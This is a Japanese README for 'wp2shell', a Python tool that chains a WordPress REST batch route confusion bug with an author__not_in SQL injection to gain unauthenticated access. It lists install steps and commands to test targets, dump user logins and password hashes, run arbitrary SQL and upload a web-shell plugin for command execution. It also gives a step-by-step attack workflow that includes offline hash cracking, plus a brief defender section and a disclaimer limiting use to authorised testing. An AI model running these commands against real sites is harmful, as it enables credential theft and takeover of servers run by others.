| 詳細 | 情報 |
|---|
| CVE | CVE-2026-63030 (REST バッチルート混乱) + CVE-2026-60137 (author__not_in SQLi) |
| 影響を受ける | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| 修正済み | 6.9.5, 7.0.2 |
| 認証要件 | なし — 未認証 |
| CVSS | 重大 (RCE チェーン) |
| 発見者 | Adam Kues (Assetnote / Searchlight Cyber) |
| 依存関係 | Python 3.8+ — 標準ライブラリのみ |
このエクスプロイトは、WordPress コアの2つのバグを連鎖させます:
CVE-2026-60137 — SQL インジェクション – author__not_in が配列ではなく文字列として渡されると、WordPress は is_array() のサニタイズチェックをスキップし、生の値を NOT IN (...) SQL 節に直接埋め込みます。
CVE-2026-63030 — バッチルート混乱 – /wp-json/batch/v1 エンドポイントは並行して $matches と $validation 配列を構築します。不正なサブリクエストは $matches には追加されず $validation に追加されるため、インデックスが +1 ずれます。サブリクエスト i は、サブリクエスト i+1 のハンドラで処理されます。
連鎖すると: POST /wp/v2/posts リクエストに、author_exclude 文字列を持つ内側の GET /wp/v2/users リクエストを含めることで、メソッドの許可リストと入力サニタイズの両方をバイパスします。この文字列は author__not_in として WP_Query に到達し、SQL に埋め込まれます — 未認証のブラインド SQL インジェクション を引き起こします。
そこから、このツールは次のことができます:
| 機能 | 説明 |
|---|---|
| 脆弱性チェック | 安全な時間遅延プローブ — データを読み取らず、何も変更しません |
| データ抽出 | 効率的な抽出のための二分探索最適化を備えたブラインド SQL インジェクション |
| ユーザーハッシュダンプ | wp_users から user_login と user_pass のハッシュを抽出 |
| リモートコード実行 | 管理者として認証し、Web シェルプラグインをアップロードしてコマンドを実行 |
| 対話型シェル | 永続的なコマンド実行セッション |
| カラー出力 | スキャン結果の明確な視覚的フィードバック |
| 依存関係なし | Python の標準ライブラリのみ使用 |
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py
これだけです。サードパーティのパッケージは不要です。
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
番号付きオプションからすべての機能を利用できる対話型メニューを起動します。
check — 脆弱性の確認 (安全)時間遅延プローブを実行して、悪用可能性を確認します。データを読み取らず、何も変更しません。
./wp2shell.py http://target.com check
read — データ抽出 (ブラインド SQL インジェクション)時間ベースのブラインド SQL インジェクションを使用して、データベースから情報を抽出します。
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — リモートコード実行有効な管理者資格情報が必要です。 SQL インジェクションでパスワードハッシュを復元できますが、復元された平文パスワードを指定する必要があります。
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
| オプション | 説明 |
|---|---|
--users | wp_users から user_login と user_pass を抽出 |
--database | 現在のデータベース名を抽出 |
--version | MySQL のバージョンを抽出 |
--query "SQL" | カスタム SQL クエリを実行 (ブラインド抽出) |
--user USER | RCE 用の管理者ユーザー名 |
--password PASS | RCE 用の管理者パスワード (SQLi で復元された平文) |
--cmd CMD | Web シェル経由で実行するコマンド |
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| ブランチ | 影響を受ける | 修正済み |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (SQLi のみ、RCE なし) | 6.8.6 |
6.9.0 より前のバージョンは、完全な RCE チェーンの影響を受けません。
防御側向け:
requests ボディを持つ POST /wp-json/batch/v1 リクエストを監視する404 は常に「修正済み」を意味するわけではありません — WAF/CDN が匿名 REST API アクセスをブロックしている場合もありますこのツールは、教育および許可されたセキュリティテストの目的にのみ使用されます。